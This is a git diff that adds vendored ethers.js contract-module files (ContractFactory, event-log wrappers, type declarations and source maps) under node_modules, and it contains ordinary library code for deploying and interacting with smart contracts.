+{"version":3,"file":"contract.js","sourceRoot":"","sources":["../../src.ts/contract/contract.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,KAAK,EAAE,MAAM,iBAAiB,CAAC;AACnD,OAAO,EAAE,aAAa,EAAE,cAAc,EAAE,MAAM,qBAAqB,CAAC;AACpE,sEAAsE;AACtE,yBAAyB;AACzB,OAAO,EAAE,WAAW,EAAE,GAAG,EAAuB,MAAM,0BAA0B,CAAC;AACjF,OAAO,EACH,gBAAgB,EAAE,SAAS,EAAE,eAAe,EAAE,WAAW,EAAE,iBAAiB,EAC5E,OAAO,EAAE,SAAS,EAAE,MAAM,EAAE,cAAc,EAC7C,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EACH,oBAAoB,EAAE,2BAA2B,EACjD,2BAA2B,EAC3B,QAAQ,EAAE,iBAAiB,EAC9B,MAAM,eAAe,CAAC;AAsBvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AAkBvB,SAAS,OAAO,CAAC,KAAU;IACvB,OAAO,CAA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,cAAe,SAAQ,YAAY;YACrC,YAAY,OAAe,EAAE,SAAgC,IAAI;gBAC7D,KAAK,CAAC,OAAO,EAAE,GAAG,EAAE,MAAM,CAAC,CAAC;YAChC,CAAC;SACJ;QACD,OAAO,cAAqB,CAAC;IACjC,CAAC;IAAA,CAAC;IAEF;;OAEG;IACH,MAAM,CAAC,IAAI,CAAwB,MAAc,EAAE,GAA6B,EAAE,MAA8B;QAC5G,IAAI,MAAM,IAAI,IAAI,EAAE;YAAE,MAAM,GAAG,IAAI,CAAC;SAAE;QACtC,MAAM,QAAQ,GAAG,IAAI,IAAI,CAAC,MAAM,EAAE,GAAG,EAAE,MAAM,CAAE,CAAC;QAChD,OAAO,QAAe,CAAC;IAC3B,CAAC;CACJ;AAED,SAAS,aAAa;IAClB,OAAO,YAAmB,CAAC;AAC/B,CAAC;AAED;;GAEG;AACH,MAAM,OAAO,QAAS,SAAQ,aAAa,EAAE;CAAI"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/factory.d.ts b/node_modules/ethers/lib.esm/contract/factory.d.ts new file mode 100644 index 000000000000..e472eb93f523 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/factory.d.ts @@ -0,0 +1,62 @@ +import { Interface } from "../abi/index.js"; +import { BaseContract } from "./contract.js"; +import type { InterfaceAbi } from "../abi/index.js"; +import type { Addressable } from "../address/index.js"; +import type { ContractRunner } from "../providers/index.js"; +import type { BytesLike } from "../utils/index.js"; +import type { ContractInterface, ContractMethodArgs, ContractDeployTransaction } from "./types.js"; +import type { ContractTransactionResponse } from "./wrappers.js"; +/** + * A **ContractFactory** is used to deploy a Contract to the blockchain. + */ +export declare class ContractFactory = Array, I = BaseContract> { + /** + * The Contract Interface. + */ + readonly interface: Interface; + /** + * The Contract deployment bytecode. Often called the initcode. + */ + readonly bytecode: string; + /** + * The ContractRunner to deploy the Contract as. + */ + readonly runner: null | ContractRunner; + /** + * Create a new **ContractFactory** with %%abi%% and %%bytecode%%, + * optionally connected to %%runner%%. + * + * The %%bytecode%% may be the ``bytecode`` property within the + * standard Solidity JSON output. + */ + constructor(abi: Interface | InterfaceAbi, bytecode: BytesLike | { + object: string; + }, runner?: null | ContractRunner); + attach(target: string | Addressable): BaseContract & Omit; + /** + * Resolves to the transaction to deploy the contract, passing %%args%% + * into the constructor. + */ + getDeployTransaction(...args: ContractMethodArgs): Promise; + /** + * Resolves to the Contract deployed by passing %%args%% into the + * constructor. + * + * This will resolve to the Contract before it has been deployed to the + * network, so the [[BaseContract-waitForDeployment]] should be used before + * sending any transactions to it. + */ + deploy(...args: ContractMethodArgs): Promise>; + /** + * Return a new **ContractFactory** with the same ABI and bytecode, + * but connected to %%runner%%. + */ + connect(runner: null | ContractRunner): ContractFactory; + /** + * Create a new **ContractFactory** from the standard Solidity JSON output. + */ + static fromSolidity = Array, I = ContractInterface>(output: any, runner?: ContractRunner): ContractFactory; +} +//# sourceMappingURL=factory.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/factory.d.ts.map b/node_modules/ethers/lib.esm/contract/factory.d.ts.map new file mode 100644 index 000000000000..dc031ea9566b --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/factory.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"factory.d.ts","sourceRoot":"","sources":["../../src.ts/contract/factory.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAO5C,OAAO,EAAE,YAAY,EAA8B,MAAM,eAAe,CAAC;AAEzE,OAAO,KAAK,EAAE,YAAY,EAAE,MAAM,iBAAiB,CAAC;AACpD,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,qBAAqB,CAAC;AACvD,OAAO,KAAK,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AAC5D,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEnD,OAAO,KAAK,EACR,iBAAiB,EAAE,kBAAkB,EAAE,yBAAyB,EACnE,MAAM,YAAY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G,EAAE,MAAM,CAAC,EAAE,cAAc,GAAG,eAAe,CAAC,CAAC,EAAE,CAAC,CAAC;CAgB7I"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/factory.js b/node_modules/ethers/lib.esm/contract/factory.js new file mode 100644 index 000000000000..c9530e2daa77 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/factory.js @@ -0,0 +1,112 @@ +import { Interface } from "../abi/index.js"; +import { getCreateAddress } from "../address/index.js"; +import { concat, defineProperties, getBytes, hexlify, assert, assertArgument } from "../utils/index.js"; +import { BaseContract, copyOverrides, resolveArgs } from "./contract.js"; +// A = Arguments to the constructor +// I = Interface of deployed contracts +/** + * A **ContractFactory** is used to deploy a Contract to the blockchain. + */ +export class ContractFactory { + /** + * The Contract Interface. + */ + interface; + /** + * The Contract deployment bytecode. Often called the initcode. + */ + bytecode; + /** + * The ContractRunner to deploy the Contract as. + */ + runner; + /** + * Create a new **ContractFactory** with %%abi%% and %%bytecode%%, + * optionally connected to %%runner%%. + * + * The %%bytecode%% may be the ``bytecode`` property within the + * standard Solidity JSON output. + */ + constructor(abi, bytecode, runner) { + const iface = Interface.from(abi); + // Dereference Solidity bytecode objects and allow a missing `0x`-prefix + if (bytecode instanceof Uint8Array) { + bytecode = hexlify(getBytes(bytecode)); + } + else { + if (typeof (bytecode) === "object") { + bytecode = bytecode.object; + } + if (!bytecode.startsWith("0x")) { + bytecode = "0x" + bytecode; + } + bytecode = hexlify(getBytes(bytecode)); + } + defineProperties(this, { + bytecode, interface: iface, runner: (runner || null) + }); + } + attach(target) { + return new BaseContract(target, this.interface, this.runner); + } + /** + * Resolves to the transaction to deploy the contract, passing %%args%% + * into the constructor. + */ + async getDeployTransaction(...args) { + let overrides = {}; + const fragment = this.interface.deploy; + if (fragment.inputs.length + 1 === args.length) { + overrides = await copyOverrides(args.pop()); + } + if (fragment.inputs.length !== args.length) { + throw new Error("incorrect number of arguments to constructor"); + } + const resolvedArgs = await resolveArgs(this.runner, fragment.inputs, args); + const data = concat([this.bytecode, this.interface.encodeDeploy(resolvedArgs)]); + return Object.assign({}, overrides, { data }); + } + /** + * Resolves to the Contract deployed by passing %%args%% into the + * constructor. + * + * This will resolve to the Contract before it has been deployed to the + * network, so the [[BaseContract-waitForDeployment]] should be used before + * sending any transactions to it. + */ + async deploy(...args) { + const tx = await this.getDeployTransaction(...args); + assert(this.runner && typeof (this.runner.sendTransaction) === "function", "factory runner does not support sending transactions", "UNSUPPORTED_OPERATION", { + operation: "sendTransaction" + }); + const sentTx = await this.runner.sendTransaction(tx); + const address = getCreateAddress(sentTx); + return new BaseContract(address, this.interface, this.runner, sentTx); + } + /** + * Return a new **ContractFactory** with the same ABI and bytecode, + * but connected to %%runner%%. + */ + connect(runner) { + return new ContractFactory(this.interface, this.bytecode, runner); + } + /** + * Create a new **ContractFactory** from the standard Solidity JSON output. + */ + static fromSolidity(output, runner) { + assertArgument(output != null, "bad compiler output", "output", output); + if (typeof (output) === "string") { + output = JSON.parse(output); + } + const abi = output.abi; + let bytecode = ""; + if (output.bytecode) { + bytecode = output.bytecode; + } + else if (output.evm && output.evm.bytecode) { + bytecode = output.evm.bytecode; + } + return new this(abi, bytecode, runner); + } +} +//# sourceMappingURL=factory.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/factory.js.map b/node_modules/ethers/lib.esm/contract/factory.js.map new file mode 100644 index 000000000000..003ba7bdb824 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/factory.js.map @@ -0,0 +1 @@ +{"version":3,"file":"factory.js","sourceRoot":"","sources":["../../src.ts/contract/factory.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAC5C,OAAO,EAAE,gBAAgB,EAAE,MAAM,qBAAqB,CAAC;AACvD,OAAO,EACH,MAAM,EAAE,gBAAgB,EAAE,QAAQ,EAAE,OAAO,EAC3C,MAAM,EAAE,cAAc,EACzB,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EA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,OAAO,CAAC,MAA6B;QACjC,OAAO,IAAI,eAAe,CAAC,IAAI,CAAC,SAAS,EAAE,IAAI,CAAC,QAAQ,EAAE,MAAM,CAAC,CAAC;IACtE,CAAC;IAED;;OAEG;IACH,MAAM,CAAC,YAAY,CAA2D,MAAW,EAAE,MAAuB;QAC9G,cAAc,CAAC,MAAM,IAAI,IAAI,EAAE,qBAAqB,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;QAExE,IAAI,OAAM,CAAC,MAAM,CAAC,KAAK,QAAQ,EAAE;YAAE,MAAM,GAAG,IAAI,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC;SAAE;QAEjE,MAAM,GAAG,GAAG,MAAM,CAAC,GAAG,CAAC;QAEvB,IAAI,QAAQ,GAAG,EAAE,CAAC;QAClB,IAAI,MAAM,CAAC,QAAQ,EAAE;YACjB,QAAQ,GAAG,MAAM,CAAC,QAAQ,CAAC;SAC9B;aAAM,IAAI,MAAM,CAAC,GAAG,IAAI,MAAM,CAAC,GAAG,CAAC,QAAQ,EAAE;YAC1C,QAAQ,GAAG,MAAM,CAAC,GAAG,CAAC,QAAQ,CAAC;SAClC;QAED,OAAO,IAAI,IAAI,CAAC,GAAG,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;IAC3C,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/index.d.ts b/node_modules/ethers/lib.esm/contract/index.d.ts new file mode 100644 index 000000000000..b7f2c8184d10 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/index.d.ts @@ -0,0 +1,13 @@ +/** + * A **Contract** object is a meta-class (a class whose definition is + * defined at runtime), which communicates with a deployed smart contract + * on the blockchain and provides a simple JavaScript interface to call + * methods, send transaction, query historic logs and listen for its events. + * + * @_section: api/contract:Contracts [about-contracts] + */ +export { BaseContract, Contract } from "./contract.js"; +export { ContractFactory } from "./factory.js"; +export { ContractEventPayload, ContractUnknownEventPayload, ContractTransactionReceipt, ContractTransactionResponse, EventLog, UndecodedEventLog } from "./wrappers.js"; +export type { BaseContractMethod, ConstantContractMethod, PostfixOverrides, ContractEvent, ContractEventArgs, ContractEventName, ContractDeployTransaction, ContractInterface, ContractMethod, ContractMethodArgs, ContractTransaction, DeferredTopicFilter, Overrides, WrappedFallback } from "./types.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/index.d.ts.map b/node_modules/ethers/lib.esm/contract/index.d.ts.map new file mode 100644 index 000000000000..aad3d029aa68 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/contract/index.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AACH,OAAO,EACH,YAAY,EAAE,QAAQ,EACzB,MAAM,eAAe,CAAC;AAEvB,OAAO,EACH,eAAe,EAClB,MAAM,cAAc,CAAC;AAEtB,OAAO,EACH,oBAAoB,EAAE,2BAA2B,EACjD,0BAA0B,EAAE,2BAA2B,EACvD,QAAQ,EAAE,iBAAiB,EAC9B,MAAM,eAAe,CAAC;AAEvB,YAAY,EACR,kBAAkB,EAAE,sBAAsB,EAC1C,gBAAgB,EAChB,aAAa,EAAE,iBAAiB,EAAE,iBAAiB,EACnD,yBAAyB,EACzB,iBAAiB,EAAE,cAAc,EAAE,kBAAkB,EAAE,mBAAmB,EAC1E,mBAAmB,EAAE,SAAS,EAC9B,eAAe,EAClB,MAAM,YAAY,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/index.js b/node_modules/ethers/lib.esm/contract/index.js new file mode 100644 index 000000000000..e76993433cf2 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/index.js @@ -0,0 +1,12 @@ +/** + * A **Contract** object is a meta-class (a class whose definition is + * defined at runtime), which communicates with a deployed smart contract + * on the blockchain and provides a simple JavaScript interface to call + * methods, send transaction, query historic logs and listen for its events. + * + * @_section: api/contract:Contracts [about-contracts] + */ +export { BaseContract, Contract } from "./contract.js"; +export { ContractFactory } from "./factory.js"; +export { ContractEventPayload, ContractUnknownEventPayload, ContractTransactionReceipt, ContractTransactionResponse, EventLog, UndecodedEventLog } from "./wrappers.js"; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/index.js.map b/node_modules/ethers/lib.esm/contract/index.js.map new file mode 100644 index 000000000000..9301004682ba --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/contract/index.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AACH,OAAO,EACH,YAAY,EAAE,QAAQ,EACzB,MAAM,eAAe,CAAC;AAEvB,OAAO,EACH,eAAe,EAClB,MAAM,cAAc,CAAC;AAEtB,OAAO,EACH,oBAAoB,EAAE,2BAA2B,EACjD,0BAA0B,EAAE,2BAA2B,EACvD,QAAQ,EAAE,iBAAiB,EAC9B,MAAM,eAAe,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/types.d.ts b/node_modules/ethers/lib.esm/contract/types.d.ts new file mode 100644 index 000000000000..e844463f26e9 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/types.d.ts @@ -0,0 +1,193 @@ +import type { EventFragment, FunctionFragment, Result, Typed } from "../abi/index.js"; +import type { TransactionRequest, PreparedTransactionRequest, TopicFilter } from "../providers/index.js"; +import type { ContractTransactionResponse } from "./wrappers.js"; +/** + * The name for an event used for subscribing to Contract events. + * + * **``string``** - An event by name. The event must be non-ambiguous. + * The parameters will be dereferenced when passed into the listener. + * + * [[ContractEvent]] - A filter from the ``contract.filters``, which will + * pass only the EventPayload as a single parameter, which includes a + * ``.signature`` property that can be used to further filter the event. + * + * [[TopicFilter]] - A filter defined using the standard Ethereum API + * which provides the specific topic hash or topic hashes to watch for along + * with any additional values to filter by. This will only pass a single + * parameter to the listener, the EventPayload which will include additional + * details to refine by, such as the event name and signature. + * + * [[DeferredTopicFilter]] - A filter created by calling a [[ContractEvent]] + * with parameters, which will create a filter for a specific event + * signature and dereference each parameter when calling the listener. + */ +export type ContractEventName = string | ContractEvent | TopicFilter | DeferredTopicFilter; +/** + * A Contract with no method constraints. + */ +export interface ContractInterface { + [name: string]: BaseContractMethod; +} +/** + * When creating a filter using the ``contract.filters``, this is returned. + */ +export interface DeferredTopicFilter { + getTopicFilter(): Promise; + fragment: EventFragment; +} +/** + * When populating a transaction this type is returned. + */ +export interface ContractTransaction extends PreparedTransactionRequest { + /** + * The target address. + */ + to: string; + /** + * The transaction data. + */ + data: string; + /** + * The from address, if any. + */ + from?: string; +} +/** + * A deployment transaction for a contract. + */ +export interface ContractDeployTransaction extends Omit { +} +/** + * The overrides for a contract transaction. + */ +export interface Overrides extends Omit { +} +/** + * Arguments to a Contract method can always include an additional and + * optional overrides parameter. + * + * @_ignore: + */ +export type PostfixOverrides> = A | [...A, Overrides]; +/** + * Arguments to a Contract method can always include an additional and + * optional overrides parameter, and each parameter can optionally be + * [[Typed]]. + * + * @_ignore: + */ +export type ContractMethodArgs> = PostfixOverrides<{ + [I in keyof A]-?: A[I] | Typed; +}>; +/** + * A Contract method can be called directly, or used in various ways. + */ +export interface BaseContractMethod = Array, R = any, D extends R | ContractTransactionResponse = R | ContractTransactionResponse> { + (...args: ContractMethodArgs): Promise; + /** + * The name of the Contract method. + */ + name: string; + /** + * The fragment of the Contract method. This will throw on ambiguous + * method names. + */ + fragment: FunctionFragment; + /** + * Returns the fragment constrained by %%args%%. This can be used to + * resolve ambiguous method names. + */ + getFragment(...args: ContractMethodArgs): FunctionFragment; + /** + * Returns a populated transaction that can be used to perform the + * contract method with %%args%%. + */ + populateTransaction(...args: ContractMethodArgs): Promise; + /** + * Call the contract method with %%args%% and return the value. + * + * If the return value is a single type, it will be dereferenced and + * returned directly, otherwise the full Result will be returned. + */ + staticCall(...args: ContractMethodArgs): Promise; + /** + * Send a transaction for the contract method with %%args%%. + */ + send(...args: ContractMethodArgs): Promise; + /** + * Estimate the gas to send the contract method with %%args%%. + */ + estimateGas(...args: ContractMethodArgs): Promise; + /** + * Call the contract method with %%args%% and return the Result + * without any dereferencing. + */ + staticCallResult(...args: ContractMethodArgs): Promise; +} +/** + * A contract method on a Contract. + */ +export interface ContractMethod = Array, R = any, D extends R | ContractTransactionResponse = R | ContractTransactionResponse> extends BaseContractMethod { +} +/** + * A pure of view method on a Contract. + */ +export interface ConstantContractMethod, R = any> extends ContractMethod { +} +/** + * Each argument of an event is nullable (to indicate matching //any//. + * + * @_ignore: + */ +export type ContractEventArgs> = { + [I in keyof A]?: A[I] | Typed | null; +}; +export interface ContractEvent = Array> { + (...args: ContractEventArgs): DeferredTopicFilter; + /** + * The name of the Contract event. + */ + name: string; + /** + * The fragment of the Contract event. This will throw on ambiguous + * method names. + */ + fragment: EventFragment; + /** + * Returns the fragment constrained by %%args%%. This can be used to + * resolve ambiguous event names. + */ + getFragment(...args: ContractEventArgs): EventFragment; +} +/** + * A Fallback or Receive function on a Contract. + */ +export interface WrappedFallback { + (overrides?: Omit): Promise; + /** + * Returns a populated transaction that can be used to perform the + * fallback method. + * + * For non-receive fallback, ``data`` may be overridden. + */ + populateTransaction(overrides?: Omit): Promise; + /** + * Call the contract fallback and return the result. + * + * For non-receive fallback, ``data`` may be overridden. + */ + staticCall(overrides?: Omit): Promise; + /** + * Send a transaction to the contract fallback. + * + * For non-receive fallback, ``data`` may be overridden. + */ + send(overrides?: Omit): Promise; + /** + * Estimate the gas to send a transaction to the contract fallback. + * + * For non-receive fallback, ``data`` may be overridden. + */ + estimateGas(overrides?: Omit): Promise; +} +//# sourceMappingURL=types.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/types.d.ts.map b/node_modules/ethers/lib.esm/contract/types.d.ts.map new file mode 100644 index 000000000000..918f46cb8804 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/types.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"types.d.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C,CAAC;IAE9F;;;;OAIG;IACH,UAAU,CAAC,SAAS,CAAC,EAAE,IAAI,CAAC,kBAAkB,EAAE,IAAI,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC;IAExE;;;;OAIG;IACH,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,CAAC,kBAAkB,EAAE,IAAI,CAAC,GAAG,OAAO,CAAC,2BAA2B,CAAC,CAAC;IAEvF;;;;OAIG;IACH,WAAW,CAAC,SAAS,CAAC,EAAE,IAAI,CAAC,kBAAkB,EAAE,IAAI,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC;CAC5E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/types.js b/node_modules/ethers/lib.esm/contract/types.js new file mode 100644 index 000000000000..14353c789576 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/types.js @@ -0,0 +1,5 @@ +; +; +; +export {}; +//# sourceMappingURL=types.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/types.js.map b/node_modules/ethers/lib.esm/contract/types.js.map new file mode 100644 index 000000000000..bd845d6fd6c5 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/types.js.map @@ -0,0 +1 @@ +{"version":3,"file":"types.js","sourceRoot":"","sources":["../../src.ts/contract/types.ts"],"names":[],"mappings":"AAqCC,CAAC;AAsC4E,CAAC;AA4H9E,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/wrappers.d.ts b/node_modules/ethers/lib.esm/contract/wrappers.d.ts new file mode 100644 index 000000000000..90f9e1ea1076 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/wrappers.d.ts @@ -0,0 +1,143 @@ +import { Block, Log, TransactionReceipt, TransactionResponse } from "../providers/provider.js"; +import { EventPayload } from "../utils/index.js"; +import type { EventFragment, Interface, Result } from "../abi/index.js"; +import type { Listener } from "../utils/index.js"; +import type { Provider } from "../providers/index.js"; +import type { BaseContract } from "./contract.js"; +import type { ContractEventName } from "./types.js"; +/** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ +export declare class EventLog extends Log { + /** + * The Contract Interface. + */ + readonly interface: Interface; + /** + * The matching event. + */ + readonly fragment: EventFragment; + /** + * The parsed arguments passed to the event by ``emit``. + */ + readonly args: Result; + /** + * @_ignore: + */ + constructor(log: Log, iface: Interface, fragment: EventFragment); + /** + * The name of the event. + */ + get eventName(): string; + /** + * The signature of the event. + */ + get eventSignature(): string; +} +/** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ +export declare class UndecodedEventLog extends Log { + /** + * The error encounted when trying to decode the log. + */ + readonly error: Error; + /** + * @_ignore: + */ + constructor(log: Log, error: Error); +} +/** + * A **ContractTransactionReceipt** includes the parsed logs from a + * [[TransactionReceipt]]. + */ +export declare class ContractTransactionReceipt extends TransactionReceipt { + #private; + /** + * @_ignore: + */ + constructor(iface: Interface, provider: Provider, tx: TransactionReceipt); + /** + * The parsed logs for any [[Log]] which has a matching event in the + * Contract ABI. + */ + get logs(): Array; +} +/** + * A **ContractTransactionResponse** will return a + * [[ContractTransactionReceipt]] when waited on. + */ +export declare class ContractTransactionResponse extends TransactionResponse { + #private; + /** + * @_ignore: + */ + constructor(iface: Interface, provider: Provider, tx: TransactionResponse); + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + wait(confirms?: number, timeout?: number): Promise; +} +/** + * A **ContractUnknownEventPayload** is included as the last parameter to + * Contract Events when the event does not match any events in the ABI. + */ +export declare class ContractUnknownEventPayload extends EventPayload { + /** + * The log with no matching events. + */ + readonly log: Log; + /** + * @_event: + */ + constructor(contract: BaseContract, listener: null | Listener, filter: ContractEventName, log: Log); + /** + * Resolves to the block the event occured in. + */ + getBlock(): Promise; + /** + * Resolves to the transaction the event occured in. + */ + getTransaction(): Promise; + /** + * Resolves to the transaction receipt the event occured in. + */ + getTransactionReceipt(): Promise; +} +/** + * A **ContractEventPayload** is included as the last parameter to + * Contract Events when the event is known. + */ +export declare class ContractEventPayload extends ContractUnknownEventPayload { + /** + * The matching event. + */ + readonly fragment: EventFragment; + /** + * The log, with parsed properties. + */ + readonly log: EventLog; + /** + * The parsed arguments passed to the event by ``emit``. + */ + readonly args: Result; + /** + * @_ignore: + */ + constructor(contract: BaseContract, listener: null | Listener, filter: ContractEventName, fragment: EventFragment, _log: Log); + /** + * The event name. + */ + get eventName(): string; + /** + * The event signature. + */ + get eventSignature(): string; +} +//# sourceMappingURL=wrappers.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/wrappers.d.ts.map b/node_modules/ethers/lib.esm/contract/wrappers.d.ts.map new file mode 100644 index 000000000000..d17e816cc3ff --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/wrappers.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wrappers.d.ts","sourceRoot":"","sources":["../../src.ts/contract/wrappers.ts"],"names":[],"mappings":"AAEA,OAAO,EACH,KAAK,EAAE,GAAG,EAAE,kBAAkB,EAAE,mBAAmB,EACtD,MAAM,0BAA0B,CAAC;AAClC,OAAO,EAAoB,YAAY,EAAE,MAAM,mBAAmB,CAAC;AAEnE,OAAO,KAAK,EAAE,aAAa,EAAE,SAAS,EAAE,MAAM,EAAE,MAAM,iBAAiB,CAAC;AACxE,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,mBAAmB,CAAC;AAClD,OAAO,KAAK,EACR,QAAQ,EACX,MAAM,uBAAuB,CAAC;AAE/B,OAAO,KAAK,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AAClD,OAAO,KAAK,EAAE,iBAAiB,EAAE,MAAM,YAAY,CAAC;AAEpD;;GAEG;AACH,qBAAa,QAAS,SAAQ,GAAG;IAC7B;;OAEG;IACH,QAAQ,CAAC,SAAS,EAAG,SAAS,CAAC;IAE/B;;OAEG;IACH,QAAQ,CAAC,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;IACG,QAAQ,IAAI,OAAO,CAAC,KAAK,CAAC;IAIhC;;OAEG;IACG,cAAc,IAAI,OAAO,CAAC,mBAAmB,CAAC;IAIpD;;OAEG;IACG,qBAAqB,IAAI,OAAO,CAAC,kBAAkB,CAAC;CAG7D;AAED;;;GAGG;AACH,qBAAa,oBAAqB,SAAQ,2BAA2B;IAEjE;;OAEG;IACH,SAAiB,QAAQ,EAAE,aAAa,CAAC;IAEzC;;OAEG;IACH,SAAiB,GAAG,EAAE,QAAQ,CAAC;IAE/B;;OAEG;IACH,SAAiB,IAAI,EAAE,MAAM,CAAC;IAE9B;;OAEG;gBACS,QAAQ,EAAE,YAAY,EAAE,QAAQ,EAAE,IAAI,GAAG,QAAQ,EAAE,MAAM,EAAE,iBAAiB,EAAE,QAAQ,EAAE,aAAa,EAAE,IAAI,EAAE,GAAG;IAM5H;;OAEG;IACH,IAAI,SAAS,IAAI,MAAM,CAEtB;IAED;;OAEG;IACH,IAAI,cAAc,IAAI,MAAM,CAE3B;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/wrappers.js b/node_modules/ethers/lib.esm/contract/wrappers.js new file mode 100644 index 000000000000..ca9c20ffd58d --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/wrappers.js @@ -0,0 +1,177 @@ +// import from provider.ts instead of index.ts to prevent circular dep +// from EtherscanProvider +import { Log, TransactionReceipt, TransactionResponse } from "../providers/provider.js"; +import { defineProperties, EventPayload } from "../utils/index.js"; +/** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ +export class EventLog extends Log { + /** + * The Contract Interface. + */ + interface; + /** + * The matching event. + */ + fragment; + /** + * The parsed arguments passed to the event by ``emit``. + */ + args; + /** + * @_ignore: + */ + constructor(log, iface, fragment) { + super(log, log.provider); + const args = iface.decodeEventLog(fragment, log.data, log.topics); + defineProperties(this, { args, fragment, interface: iface }); + } + /** + * The name of the event. + */ + get eventName() { return this.fragment.name; } + /** + * The signature of the event. + */ + get eventSignature() { return this.fragment.format(); } +} +/** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ +export class UndecodedEventLog extends Log { + /** + * The error encounted when trying to decode the log. + */ + error; + /** + * @_ignore: + */ + constructor(log, error) { + super(log, log.provider); + defineProperties(this, { error }); + } +} +/** + * A **ContractTransactionReceipt** includes the parsed logs from a + * [[TransactionReceipt]]. + */ +export class ContractTransactionReceipt extends TransactionReceipt { + #iface; + /** + * @_ignore: + */ + constructor(iface, provider, tx) { + super(tx, provider); + this.#iface = iface; + } + /** + * The parsed logs for any [[Log]] which has a matching event in the + * Contract ABI. + */ + get logs() { + return super.logs.map((log) => { + const fragment = log.topics.length ? this.#iface.getEvent(log.topics[0]) : null; + if (fragment) { + try { + return new EventLog(log, this.#iface, fragment); + } + catch (error) { + return new UndecodedEventLog(log, error); + } + } + return log; + }); + } +} +/** + * A **ContractTransactionResponse** will return a + * [[ContractTransactionReceipt]] when waited on. + */ +export class ContractTransactionResponse extends TransactionResponse { + #iface; + /** + * @_ignore: + */ + constructor(iface, provider, tx) { + super(tx, provider); + this.#iface = iface; + } + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + async wait(confirms, timeout) { + const receipt = await super.wait(confirms, timeout); + if (receipt == null) { + return null; + } + return new ContractTransactionReceipt(this.#iface, this.provider, receipt); + } +} +/** + * A **ContractUnknownEventPayload** is included as the last parameter to + * Contract Events when the event does not match any events in the ABI. + */ +export class ContractUnknownEventPayload extends EventPayload { + /** + * The log with no matching events. + */ + log; + /** + * @_event: + */ + constructor(contract, listener, filter, log) { + super(contract, listener, filter); + defineProperties(this, { log }); + } + /** + * Resolves to the block the event occured in. + */ + async getBlock() { + return await this.log.getBlock(); + } + /** + * Resolves to the transaction the event occured in. + */ + async getTransaction() { + return await this.log.getTransaction(); + } + /** + * Resolves to the transaction receipt the event occured in. + */ + async getTransactionReceipt() { + return await this.log.getTransactionReceipt(); + } +} +/** + * A **ContractEventPayload** is included as the last parameter to + * Contract Events when the event is known. + */ +export class ContractEventPayload extends ContractUnknownEventPayload { + /** + * 